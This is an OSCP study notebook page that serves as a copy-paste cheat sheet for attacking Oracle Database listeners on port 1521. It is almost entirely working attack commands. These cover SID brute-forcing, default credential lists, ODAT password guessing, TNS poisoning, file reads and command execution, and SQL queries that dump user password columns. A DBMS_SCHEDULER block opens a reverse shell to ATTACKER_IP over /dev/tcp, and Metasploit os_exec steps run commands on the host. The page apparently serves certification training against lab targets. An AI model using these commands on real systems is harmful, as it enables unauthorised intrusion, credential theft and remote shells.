Pearson's OSCP Notebook

Oracle

Properties1
tagsoracle, database, 1521, sqlplus, odat, sid-brute, enumeration

3 min read

Oracle — Complete Reference

What is Oracle?

Oracle Database is a commercial relational database common in enterprise environments. The listener runs on port 1521/TCP. You must discover the SID (database instance name) before connecting.

OSCP use: Less common than MySQL/MSSQL on OSCP, but appears in some labs. SID brute → default creds → enumerate → DBMS_SCHEDULER for RCE.

Port

PortService
1521/TCPOracle TNS Listener

📌 1) SID Enumeration (Required First Step)

# Nmap SID brute
nmap -p 1521 --script oracle-sid-brute,oracle-tns-version 10.10.10.10
 
# ODAT (Oracle Database Attacking Tool)
odat sidguesser -s 10.10.10.10 -p 1521
odat all -s 10.10.10.10 -p 1521
 
# Metasploit
use auxiliary/scanner/oracle/sid_brute
set RHOSTS 10.10.10.10
run
 
# Common SIDs to try manually
ORCL, XE, ORCLPDB1, PROD, DEV, TEST, DB1

📌 2) sqlplus — Connection

# Remote connection (SID required)
sqlplus user/password@10.10.10.10:1521/ORCL
sqlplus scott/tiger@10.10.10.10:1521/XE
 
# TNS alias format
sqlplus user/password@"(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=10.10.10.10)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))"
 
# Local (if Oracle client configured)
sqlplus / as sysdba

Default credentials to try:

UserPassword
SCOTTTIGER
SYSCHANGE_ON_INSTALL
SYSTEMMANAGER
DBSNMPDBSNMP
OUTLNOUTLN
HRHR

📌 3) ODAT — Oracle Database Attacking Tool

# Full scan
odat all -s 10.10.10.10 -p 1521
 
# Specific modules
odat sidguesser -s 10.10.10.10 -p 1521
odat passwordguesser -s 10.10.10.10 -p 1521 -d ORCL
odat tnspoison -s 10.10.10.10 -p 1521 -d ORCL   # TNS poisoning (MITM)
odat utlfile -s 10.10.10.10 -p 1521 -d ORCL -U scott -P tiger --sysdba --put /etc/passwd  # File read
odat externaltable -s 10.10.10.10 -p 1521 -d ORCL -U scott -P tiger --exec whoami  # RCE
odat dbmsscheduler -s 10.10.10.10 -p 1521 -d ORCL -U scott -P tiger --exec whoami  # RCE via scheduler

📌 4) SQL Enumeration (Inside sqlplus)

-- Info
SELECT banner FROM v$version;
SELECT user FROM dual;
SELECT instance_name FROM v$instance;
 
-- List users
SELECT username FROM all_users;
SELECT username, account_status FROM dba_users;
 
-- List tables (current user)
SELECT table_name FROM user_tables;
-- All accessible tables
SELECT owner, table_name FROM all_tables;
 
-- List columns
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';
 
-- Dump data
SELECT * FROM users;
SELECT username||':'||password FROM users;
 
-- Check privileges
SELECT * FROM session_privs;
SELECT * FROM user_role_privs;

📌 5) OS Command Execution

DBMS_SCHEDULER (if privileges allow)

BEGIN
  DBMS_SCHEDULER.CREATE_JOB (
    job_name        => 'CMD_JOB',
    job_type        => 'EXECUTABLE',
    job_action      => '/bin/bash',
    number_of_arguments => 1,
    start_date      => SYSTIMESTAMP,
    enabled         => FALSE
  );
  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('CMD_JOB', 1, '-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');
  DBMS_SCHEDULER.ENABLE('CMD_JOB');
END;
/

Java stored procedures (older versions)

SELECT os_command.execute('whoami') FROM dual;

ODAT automates most RCE paths — prefer odat dbmsscheduler or odat externaltable when available.

📌 6) Metasploit

use auxiliary/scanner/oracle/oracle_login
set RHOSTS 10.10.10.10
set SID ORCL
set USERNAME scott
set PASSWORD tiger
run
 
use auxiliary/admin/oracle/os_exec
set RHOST 10.10.10.10
set SID ORCL
set USERNAME scott
set PASSWORD tiger
set CMD whoami
run

📌 Quick Cheat Sheet (Copy/Paste)

# ─── SID ENUM ─────────────────────────────────────────────────
nmap -p 1521 --script oracle-sid-brute TARGET
odat sidguesser -s TARGET -p 1521
 
# ─── CONNECT ──────────────────────────────────────────────────
sqlplus scott/tiger@TARGET:1521/ORCL
sqlplus system/manager@TARGET:1521/XE
 
# ─── ENUMERATE ────────────────────────────────────────────────
SELECT user FROM dual;
SELECT username FROM all_users;
SELECT table_name FROM user_tables;
SELECT * FROM users;
 
# ─── ODAT RCE ─────────────────────────────────────────────────
odat dbmsscheduler -s TARGET -p 1521 -d ORCL -U scott -P tiger --exec whoami
odat all -s TARGET -p 1521

Graph View

Backlinks